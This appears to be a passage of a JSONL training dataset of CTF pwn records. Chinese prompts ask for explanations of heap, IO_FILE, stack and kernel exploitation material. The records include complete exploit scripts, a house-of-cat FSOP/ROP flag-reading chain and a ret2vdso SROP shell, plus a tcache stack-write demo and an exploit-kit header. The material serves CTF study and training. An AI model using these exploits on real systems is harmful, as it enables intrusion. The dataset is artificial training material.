prevsize));\n    /* 后两行代码在最新版本中加入，则第二种方法无法使用，但是 2.28 及之前都没有问题 */\n    if (__glibc_unlikely (chunksize(p) != prevsize))\n        malloc_printerr (\"corrupted size vs. prev_size while consolidating\");\n    unlink_chunk (av, p);\n}\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-d63572242dccc5b1", "original_line": 102, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-10759239a0efd7b5f097", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/tcache attack/fastbin_reverse_into_tcache/fastbin_reverse_into_tcache.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/tcache attack/fastbin_reverse_into_tcache/fastbin_reverse_into_tcache.c`\n\n分类：heap\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n\n函数/封装：\n- `main`\n\n利用主题关键词：\n- heap/tcache\n- seccomp/orw\n\n训练用代码片段：\n```c\n#include \n#include \n#include \n#include \n\nconst size_t allocsize = 0x40;\n\nint main(){\n  setbuf(stdout, NULL);\n\n  printf(\n    \"\\n\"\n    \"This attack is intended to have a similar effect to the unsorted_bin_attack,\\n\"\n    \"except it works with a small allocation size (allocsize <= 0x78).\\n\"\n    \"The goal is to set things up so that a call to malloc(allocsize) will write\\n\"\n    \"a large unsigned value to the stack.\\n\\n\"\n  );\n\n  // Allocate 14 times so that we can free later.\n  char* ptrs[14];\n  size_t i;\n  for (i = 0; i < 14; i++) {\n    ptrs[i] = malloc(allocsize);\n  }\n\n  printf(\n    \"First we need to free(allocsize) at least 7 times to fill the tcache.\\n\"\n    \"(More than 7 times works fine too.)\\n\\n\"\n  );\n\n  // Fill the tcache.\n  for (i = 0; i < 7; i++) {\n    free(ptrs[i]);\n  }\n\n  char* victim = ptrs[7];\n  printf(\n    \"The next pointer that we free is the chunk that we're going to corrupt: %p\\n\"\n    \"It doesn't matter if we corrupt it now or later. Because the tcache is\\n\"\n    \"already full, it will go in the fastbin.\\n\\n\",\n    victim\n  );\n  free(victim);\n\n  printf(\n    \"Next we need to free between 1 and 6 more pointers. These will also go\\n\"\n    \"in the fastbin. If the stack address that we want to overwrite is not zero\\n\"\n    \"then we need to free exactly 6 more pointers, otherwise the attack will\\n\"\n    \"cause a segmentation fault. But if the value on the stack is zero then\\n\"\n    \"a single free is sufficient.\\n\\n\"\n  );\n\n  // Fill the fastbin.\n  for (i = 8; i < 14; i++) {\n    free(ptrs[i]);\n  }\n\n  // Create an array on the stack and initialize it with garbage.\n  size_t stack_var[6];\n  memset(stack_var, 0xcd, sizeof(stack_var));\n\n  printf(\n    \"The stack address that we intend to target: %p\\n\"\n    \"It's current value is %p\\n\",\n    &stack_var[2],\n    (char*)stack_var[2]\n  );\n\n  printf(\n    \"Now we use a vulnerability such as a buffer overflow or a use-after-free\\n\"\n    \"to overwrite the next pointer at address %p\\n\\n\",\n    victim\n  );\n\n  //------------VULNERABILITY-----------\n\n  // Overwrite linked list pointer in victim.\n  *(size_t**)victim = &stack_var[0];\n\n  //------------------------------------\n\n  printf(\n    \"The next step is to malloc(allocsize) 7 times to empty the tcache.\\n\\n\"\n  );\n\n  // Empty tcache.\n  for (i = 0; i < 7; i++) {\n    ptrs[i] = malloc(allocsize);\n  }\n\n  printf(\n    \"Let's just print the contents of our array on the stack now,\\n\"\n    \"to show that it hasn't been modified yet.\\n\\n\"\n  );\n\n  for (i = 0; i < 6; i++) {\n    printf(\"%p: %p\\n\", &stack_var[i], (char*)stack_var[i]);\n  }\n\n  printf(\n    \"\\n\"\n    \"The next allocation triggers the stack to be overwritten. The tcache\\n\"\n    \"is empty, but the fastbin isn't, so the next allocation comes from the\\n\"\n    \"fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\\n\"\n    \"Those 7 chunks are copied in reverse order into the tcache, so the stack\\n\"\n    \"address that we are targeting ends up being the first chunk in the tcache.\\n\"\n    \"It contains a pointer to the next chunk in the list, which is why a heap\\n\"\n    \"pointer is written to the stack.\\n\"\n    \"\\n\"\n    \"Earlier we said that the attack will also work if we free fewer than 6\\n\"\n    \"extra pointers to the fastbin, but only if the value on the stack is zero.\\n\"\n    \"That's because the value on the stack is treated as a next pointer in the\\n\"\n    \"linked list and it will trigger a crash if it isn't a valid pointer or null.\\n\"\n    \"\\n\"\n    \"The contents of our array on the stack now look like this:\\n\\n\"\n  );\n\n  malloc(allocsize);\n\n  for (i = 0; i < 6; i++) {\n    printf(\"%p: %p\\n\", &stack_var[i], (char*)stack_var[i]);\n  }\n\n  char *q = malloc(allocsize);\n  printf(\n    \"\\n\"\n    \"Finally, if we malloc one more time then we get the stack address back: %p\\n\",\n    q\n  );\n\n  assert(q == (char *)&stack_var[2]);\n\n  return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-ae62c296279134b6", "original_line": 26, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/fastbin_reverse_into_tcache/fastbin_reverse_into_tcache.c", "split": "train", "split_group_key": "2801bda4b77bae1e816c994d"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/fastbin_reverse_into_tcache/fastbin_reverse_into_tcache.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-10d04ac68cf185d84dc4", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「利用难点」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/README.md；主题：2026d3ctf-d3kheap2pro；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 利用难点\n\n这题不能简单套常见 kernel UAF 模板，原因是：\n\n1. 对象来自自定义 `kmem_cache`，不是普通 `kmalloc-2k`。\n2. 模块没有提供对 object 内容的读写接口。\n3. `read` / `write` 几乎不可用。\n4. SLUB freelist hardening/random 开启。\n5. init-on-free / init-on-alloc 开启，会影响对象残留数据。\n6. SMEP/SMAP/KPTI/KASLR 全开，不能直接跳用户态代码。\n\n所以完整利用前必须动态验证：\n\n- double free 是否会立刻被 SLUB 检测；\n- `alloc -> free -> alloc` 是否能稳定复用同一地址；\n- 多个 slot 是否可以 alias 到同一对象；\n- 自定义 cache 是否可能被其他路径复用；\n- 是否可以借助 alias slot 继续构造更强原语。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-0498507f0bac529d", "original_line": 33, "original_split": "validation", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/README.md", "split": "train", "split_group_key": "4f24a40cea540ed9b113d0aa"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/README.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-10e6b1493d32abae881f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/xdk_device/include/xdk_device.h` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/xdk_device/include/xdk_device.h`\n\n分类：kernel\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n\n利用主题关键词：\n- seccomp/orw\n\n关键常量/偏移样例：\n`0x1000`, `0x1001`, `0x1002`, `0x1003`, `0x1004`, `0x1005`, `0x1006`, `0x1007`, `0x000001`, `0x000002`, `0x000004`, `0x000008`, `0x000010`, `0x000020`, `0x000040`, `0x000080`\n\n训练用代码片段：\n```c\n/* SPDX-License-Identifier: GPL-2.0 */\n/* Copyright 2024 Google LLC\n *\n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * version 2 as published by the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n*/\n\n#pragma once\n\n#include \n#include \n\n#define DEVICE_NAME \"xdk\"\n\ntypedef struct xdk_message {\n    uint64_t length;\n    uint8_t* data;\n    union {\n        uint64_t kernel_addr;\n        void* kernel_ptr;\n    };\n    uint8_t gfp_account;\n} xdk_message;\n\nenum xdk_cmd { ALLOC_BUFFER = 0x1000, KFREE, KASLR_LEAK, WIN_TARGET, RIP_CONTROL, ARB_READ, ARB_WRITE, INSTALL_KPROBE, PRINTK, SYM_ADDR, REMOVE_KPROBE, GET_RIP_CONTROL_RECOVERY, CHECK_WIN };\n\nenum xdk_error {\n    SUCCESS = 0,\n    ERROR_GENERIC = 0x1000,\n    ERROR_UNKNOWN_COMMAND = 0x1001,\n    ERROR_ALLOC = 0x1002,\n    ERROR_COPY_FROM_USER_STRUCT = 0x1003,\n    ERROR_COPY_FROM_USER_DATA = 0x1004,\n    ERROR_COPY_TO_USER_STRUCT = 0x1005,\n    ERROR_COPY_TO_USER_DATA = 0x1006,\n    ERROR_UNKNOWN_SYMBOL = 0x1007,\n};\n\nenum regs_to_set: unsigned long {\n    RAX = 0x000001,\n    RBX = 0x000002,\n    RCX = 0x000004,\n    RDX = 0x000008,\n    RSI = 0x000010,\n    RDI = 0x000020,\n    RBP = 0x000040,\n    RSP = 0x000080,\n    R8  = 0x000100,\n    R9  = 0x000200,\n    R10 = 0x000400,\n    R11 = 0x000800,\n    R12 = 0x001000,\n    R13 = 0x002000,\n    R14 = 0x004000,\n    //R15 = 0x008000,\n    ALL = 0xffffffff,\n};\n\nenum rip_action {\n    JMP_RIP = 0x1, // jmp r15 (r15 == rip_control_args.rip)\n    CALL_RIP = 0x2, // call r15 (r15 == rip_control_args.rip)\n    RET = 0x3,\n    NONE = 0x4,\n};\n\ntypedef struct {\n    // 0x00\n    uint64_t rax, rbx, rcx, rdx;\n    // 0x20\n    uint64_t rsi, rdi, rbp, rsp;\n    // 0x40\n    uint64_t r8,  r9,  r10, r11;\n    // 0x60\n    uint64_t r12, r13, r14, r15;\n    // 0x80\n    uint64_t rip;\n    // 0x88\n    uint64_t regs_to_set;\n    // 0x90\n    uint64_t action;\n} rip_control_args;\n\nenum kprobe_log_mode {\n    SILENT = 0x0,\n    ENTRY = 0x1,\n    ENTRY_CALLSTACK = 0x2,\n    RETURN = 0x4,\n    RETURN_CALLSTACK = 0x8,\n    CALL_LOG = 0x10,\n    ENTRY_WITH_CALLSTACK = ENTRY | ENTRY_CALLSTACK,\n    RETURN_WITH_CALLSTACK = RETURN | RETURN_CALLSTACK\n};\n\ntypedef struct {\n    volatile uint64_t entry_size;\n    volatile uint64_t arguments[6];\n    volatile uint64_t return_value;\n    volatile uint64_t call_stack_size;\n    volatile uint8_t call_stack[1];\n} kprobe_log_entry;\n\ntypedef struct {\n    volatile uint64_t struct_size;\n    volatile uint64_t entry_count;\n    volatile uint64_t next_offset; // next writable offset\n    volatile uint64_t missed_logs; // number of logs could not be written to due insufficient buffer space\n    kprobe_log_entry entries[];\n} kprobe_log;\n\ntypedef struct {\n    char function_name[128];\n    pid_t pid_filter;\n    uint8_t arg_count;\n    uint8_t log_mode; // kprobe_log_mode\n    char log_call_stack_filter[128];\n    kprobe_log* logs;\n    void* installed_kprobe;\n} kprobe_args;\n\ntypedef struct {\n    char symbol_name[128];\n    uint64_t symbol_addr;\n} sym_addr;\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-bffcfcd6f5a72229", "original_line": 317, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/xdk_device/include/xdk_device.h", "split": "train", "split_group_key": "07b43fb32183e0ed62ad8bb6"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/xdk_device/include/xdk_device.h", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1127d101ba660516e021", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「More relevant direction」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/WEB_REFERENCE_NOTES.md；主题：Internet reference notes for d3kheap2pro；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## More relevant direction\n\nThe pro variant likely expects a more robust page-level cross-cache route: force d3k slab pages back to buddy, reclaim as PTE/file/page-backed objects, then use stale free/alloc behavior to corrupt allocator or page-table state. The current `xcache_probe pte-realloc-scan` confirms allocator corruption after PTE spray, but not controlled PTE overwrite yet.", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-e6bb1b3b6173e44f", "original_line": 378, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/WEB_REFERENCE_NOTES.md", "split": "train", "split_group_key": "3142a1c55fbb73a0f35ddf74"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/WEB_REFERENCE_NOTES.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-11a7775e56a61f6eba2c", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `IO-FILE/house of cat/强网杯2022houseofcat/houseofcat.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`IO-FILE/house of cat/强网杯2022houseofcat/houseofcat.py`\n\n分类：io_file\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `add`\n- `delete`\n- `edit`\n- `show`\n\n利用主题关键词：\n- heap/tcache\n- io-file/fsop\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x200`, `0x290`, `0x418`, `0x420`, `0x430`, `0x440`, `0x450`, `0xb00`, `0xb30`, `0xc18`, `0x1370`, `0x17d0`, `0x1DDD`, `0x2050`, `0x28e0`, `0x2160d0`\n\n训练用代码片段：\n```python\nfrom pwn import *\np=process('./houseofcat')\nlibc=ELF('./libc.so.6')\ncontext.log_level='debug'\nr = lambda x: p.recv(x)\nra = lambda: p.recvall()\nrl = lambda: p.recvline(keepends=True)\nru = lambda x: p.recvuntil(x, drop=True)\nsl = lambda x: p.sendline(x)\nsa = lambda x, y: p.sendafter(x, y)\nsla = lambda x, y: p.sendlineafter(x, y)\nia = lambda: p.interactive()\nc = lambda: p.close()\nli = lambda x: log.info(x)\ndb = lambda: gdb.attach(p)\nsa('mew mew mew~~~~~~','LOGIN | r00t QWBQWXF admin')\ndef add(idx,size,cont):\n    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\\xff')\n    sla('plz input your cat choice:\\n',str(1))\n    sla('plz input your cat idx:\\n',str(idx))\n    sla('plz input your cat size:\\n',str(size))\n    sa('plz input your content:\\n',cont)\ndef delete(idx):\n    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\\xff')\n    sla('plz input your cat choice:\\n', str(2))\n    sla('plz input your cat idx:\\n',str(idx))\ndef show(idx):\n    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\\xff')\n    sla('plz input your cat choice:\\n', str(3))\n    sla('plz input your cat idx:\\n',str(idx))\ndef edit(idx,cont):\n    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\\xff')\n    sla('plz input your cat choice:\\n', str(4))\n    sla('plz input your cat idx:\\n',str(idx))\n    sa('plz input your content:\\n', cont)\n#gdb.attach(p,'b* $rebase(0x1DDD)')\nadd(0,0x420,'aaa')\nadd(1,0x430,'bbb')\nadd(2,0x418,'ccc')\ndelete(0)\nadd(3,0x440,'ddd')\nshow(0)\nru('Context:\\n')\nlibcbase=u64(p.recv(6).ljust(8,'\\x00'))-0x21a0d0\ninfo('libc->'+hex(libcbase))\nrdi=libcbase+0x000000000002a3e5\nrsi=libcbase+0x000000000002be51\nrdxr12=libcbase+0x000000000011f497\nret=libcbase+0x0000000000029cd6\nrax=libcbase+0x0000000000045eb0\nstderr=libcbase+libc.sym['stderr']\nsetcontext=libcbase+libc.sym['setcontext']\nclose=libcbase+libc.sym['close']\nread=libcbase+libc.sym['read']\nwrite=libcbase+libc.sym['write']\nsyscallret=libcbase+libc.search(asm('syscall\\nret')).next()\np.recv(10)\nheapaddr=u64(p.recv(6).ljust(8,'\\x00'))-0x290\ninfo('heap->'+hex(heapaddr))\n#fake IO\nioaddr=heapaddr+0xb00\nnext_chain = 0\nfake_IO_FILE = p64(0)*4\nfake_IO_FILE +=p64(0)\nfake_IO_FILE +=p64(0)\nfake_IO_FILE +=p64(1)+p64(0)\nfake_IO_FILE +=p64(heapaddr+0xc18-0x68)#rdx\nfake_IO_FILE +=p64(setcontext+61)#call addr\nfake_IO_FILE = fake_IO_FILE.ljust(0x58, '\\x00')\nfake_IO_FILE += p64(0 )  # _chain\nfake_IO_FILE = fake_IO_FILE.ljust(0x78, '\\x00')\nfake_IO_FILE += p64(heapaddr+0x200)  # _lock = writable address\nfake_IO_FILE = fake_IO_FILE.ljust(0x90, '\\x00')\nfake_IO_FILE +=p64(heapaddr+0xb30) #rax1\nfake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\\x00')\nfake_IO_FILE += p64(1)  # _mode = 0\nfake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\\x00')\nfake_IO_FILE += p64(libcbase+0x2160d0)  # vtable=IO_wfile_jumps+0x10\nfake_IO_FILE +=p64(0)*6\nfake_IO_FILE += p64(heapaddr+0xb30+0x10)  # rax2\nflagaddr=heapaddr+0x17d0\npayload1=fake_IO_FILE+p64(flagaddr)+p64(0)+p64(0)*5+p64(heapaddr+0x2050)+p64(ret)\ndelete(2)\nadd(6,0x418,payload1)\ndelete(6)\n#large bin attack stderr poiniter\nedit(0,p64(libcbase+0x21a0d0)*2+p64(heapaddr+0x290)+p64(stderr-0x20))\nadd(5,0x440,'aaaaa')\nadd(7,0x430,'flag')\nadd(8,0x430,'eee')\n#rop\npayload=p64(rdi)+p64(0)+p64(close)+p64(rdi)+p64(flagaddr)+p64(rsi)+p64(0)+p64(rax)+p64(2)+p64(syscallret)+p64(rdi)+p64(0)+p64(rsi)+p64(flagaddr)+p64(rdxr12)+p64(0x50)+p64(0)+p64(read)+p64(rdi)+p64(1)+p64(write)\nadd(9,0x430,payload)\ndelete(5)\nadd(10,0x450,p64(0)+p64(1))\ndelete(8)\n# large bin attack topchunk's size\nedit(5,p64(libcbase+0x21a0e0)*2+p64(heapaddr+0x1370)+p64(heapaddr+0x28e0-0x20+3))\n#trigger __malloc_assert\nsa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\\xff')\nsla('plz input your cat choice:\\n',str(1))\nsla('plz input your cat idx:',str(11))\ngdb.attach(p,'b* (_IO_wfile_seekoff)')\nsla('plz input your cat size:',str(0x450))\np.interactive()\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-code-439973a4da8e9853", "original_line": 160, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of cat/强网杯2022houseofcat/houseofcat.py", "split": "train", "split_group_key": "355d0b80469ac8a4370fb62a"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of cat/强网杯2022houseofcat/houseofcat.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1217a3c8e18a34da6cae", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2vdso/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2vdso/exp.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `dbg`\n\n利用主题关键词：\n- stack/rop\n\n关键常量/偏移样例：\n`0x10c`, `0x561`, `0x566`, `0x0804C020`, `0x0804C02A`, `0xf7fc4000`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('./ret2vdso_x32')\nio = process([elf.path])\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\nbin_sh_addr = 0x0804C020\nbss_addr = 0x0804C02A\n\nvdso_addr = 0xf7fc4000\n\nlg('Try vdso',vdso_addr)\n\nframe = SigreturnFrame(kernel=\"i386\")\nframe.eax = constants.SYS_execve\nframe.ebx = bin_sh_addr\nframe.eip = vdso_addr + 0x566 # address of int 0x80\nframe.esp = bss_addr\nframe.ebp = bss_addr\nframe.gs = 99\nframe.cs = 35\nframe.es = 43\nframe.ds = 43\nframe.ss = 43\n\nret_addr = vdso_addr + 0x561 # address of sigreturn\n\npayload = flat([cyclic(0x10c+4), ret_addr, frame])\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-5e1683a1a3aef7d9", "original_line": 565, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2vdso/exp.py", "split": "train", "split_group_key": "0e8ccc8f09becb7bdadb1344"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2vdso/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-122e78d21f9c4a461120", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/str.h` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/str.h`\n\n分类：kernel\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n\n利用主题关键词：\n- io-file/fsop\n\n训练用代码片段：\n```c\n/*\n * Copyright 2025 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#pragma once\n\n#include \n#include \n#include \n#include \n\n/**\n * @defgroup util_classes Utility Classes\n * @brief Helper classes for various utilities.\n */\n\n/**\n * @ingroup util_classes\n * @brief Formats a string using a format string and va_list arguments.\n * @param format The format string.\n * @param args The va_list containing the arguments.\n * @return The formatted string.\n */\nstd::string format_str(const char* format, va_list args);\n\n/**\n * @ingroup util_classes\n * @brief Formats a string using a format string and a variadic number of arguments.\n * @tparam Args The types of the arguments.\n * @param format The format string.\n * @param args The arguments to format.\n */\ntemplate \nstd::string format_str(const char* format, const Args&... args) {\n    int buffer_size = std::snprintf(nullptr, 0, format, args...) + 1; // +1 for null terminator\n    std::string result(buffer_size - 1, '\\0');\n    std::snprintf(result.data(), buffer_size, format, args...);\n    return result;\n}\n\n/**\n * @ingroup util_classes\n * @brief Concatenates a vector of strings with a delimiter.\n * @param delimiter The string to use as a delimiter.\n * @param strings The vector of strings to concatenate.\n */\nstd::string str_concat(const std::string& delimiter, const std::vector& strings);\n\n/**\n * @ingroup util_classes\n * @brief Replaces all occurrences of a substring within a string.\n * @param str The string to perform replacements on.\n * @param from The substring to replace.\n * @param to The string to replace with.\n */\nvoid replace(std::string& str, const std::string& from, const std::string& to);\n\n/**\n * @ingroup util_classes\n * @brief Converts a string to lowercase in-place.\n * @param str The string to convert.\n */\nvoid tolower(std::string& str);\n\n/**\n * @ingroup util_classes\n * @brief Splits a string by a delimiter.\n * @param str The string to split.\n * @param delimiter The delimiter to split by.\n */\nstd::vector split(const std::string& str, const std::string& delimiter);\n\n/**\n * @ingroup util_classes\n * @brief Checks if a string contains a specific pattern.\n * @param str The string to search within.\n * @param pattern The pattern to search for.\n * @return True if the string contains the pattern, false otherwise.\n */\nbool contains(const std::string& str, const std::string& pattern);\n\n/**\n * @ingroup util_classes\n * @brief Checks if a string starts with a specific prefix.\n * @param str The string to check.\n * @param prefix The prefix to check for.\n * @return True if the string starts with the prefix, false otherwise.\n */\nbool startsWith(const std::string& str, const std::string& prefix);\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-0bafb1bcd595ebd6", "original_line": 316, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/str.h", "split": "train", "split_group_key": "8b6105ddccc307cc558a5fbb"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/str.h", "split": "train", "type": "ctf_lora_sft"}
